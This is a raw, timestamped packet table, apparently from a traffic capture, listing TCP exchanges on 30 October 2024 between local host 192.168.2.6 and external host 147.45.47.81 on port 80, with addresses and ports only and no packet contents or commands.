Oct 30, 2024 15:44:45.991168022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991178989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991189957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991192102 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.991202116 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991211891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.991214037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991241932 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.991936922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992002964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.992033005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992044926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992057085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992074013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992074013 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.992086887 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992093086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992103100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992114067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992120981 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.992126942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992150068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.992949963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992961884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992973089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.992996931 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.993025064 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.993057013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993068933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993078947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993089914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993097067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.993102074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993113041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993119955 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.993128061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993150949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.993727922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993767977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993777037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.993973017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993983984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.993993998 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994015932 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994029999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994040966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994040966 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994050980 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994062901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994071007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994076014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994086981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994096041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994098902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994136095 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994216919 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994823933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994862080 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994899988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994911909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994924068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994932890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994944096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994955063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994971037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.994972944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994987011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.994997978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995008945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.995011091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995033979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.995735884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995779037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.995789051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995801926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995835066 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.995863914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995874882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995884895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995896101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995898962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.995914936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995924950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995934010 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.995937109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.995966911 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.996716022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996759892 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.996814013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996824980 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996845007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996856928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996867895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996880054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996892929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996905088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996905088 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.996917009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.996942043 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.996956110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.997622013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997633934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997644901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997658968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.997663021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997674942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997685909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.997688055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997699976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997709990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.997711897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997724056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997736931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.997741938 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.997762918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998455048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998497009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998521090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998686075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998703003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998713017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998723984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998724937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998738050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998749018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998752117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998759985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998770952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998779058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998781919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998794079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998806000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998816967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998821020 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998830080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.998831034 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998850107 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.998866081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.999600887 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999701023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999711037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999717951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999722958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999732018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999742031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999752998 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999763012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.999771118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999783039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999790907 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.999794006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999806881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999820948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.999829054 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.999851942 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000431061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000473976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000540972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000551939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000564098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000575066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000587940 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000597000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000613928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000614882 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000626087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000637054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000649929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000653982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000660896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000674009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000675917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000685930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.000705957 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.000724077 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.001512051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001688004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001699924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001710892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001722097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001728058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.001734018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001744986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001749992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.001758099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001770973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001782894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001790047 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.001796007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001807928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001813889 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.001821995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.001828909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.001847982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.002310038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002355099 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.002360106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002371073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002381086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002404928 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.002410889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002423048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002435923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002449036 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.002449036 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002458096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002463102 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002469063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002474070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.002485991 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003038883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.003283978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003294945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003307104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003333092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003346920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003359079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003371000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003387928 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.003420115 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.003427029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003437996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003449917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003460884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003473997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003485918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.003488064 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.003508091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004004002 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004307032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004318953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004328966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004350901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004368067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004374981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004386902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004405022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004419088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004431963 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004458904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004466057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004477024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004487991 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004498959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004512072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004518032 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004524946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.004538059 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.004565001 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.005112886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005132914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005146027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005168915 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.005194902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005207062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005217075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005229950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005234003 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.005259991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.005286932 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005299091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005311012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005321980 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005326986 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.005335093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005347967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.005354881 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.005374908 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006064892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006076097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006088018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006123066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006134987 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006145954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006156921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006159067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006171942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006175041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006190062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006200075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006201982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006213903 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006227016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006228924 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006238937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006254911 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006278038 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.006939888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006951094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.006958008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007004023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007019997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007024050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007038116 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007040024 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007050037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007071018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007131100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007142067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007153034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007163048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007169962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007177114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007183075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007189035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007200956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.007208109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007246017 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.007846117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008042097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008059978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008071899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008080959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008083105 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008094072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008100986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008102894 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008111954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008117914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008125067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008126020 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008136034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008143902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008148909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008158922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008184910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008333921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008763075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008820057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008831978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008876085 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008939981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008949995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008965015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008970976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008974075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.008977890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008984089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008990049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.008996964 CET	80	49995	147.45.47.81	192.168.2.6
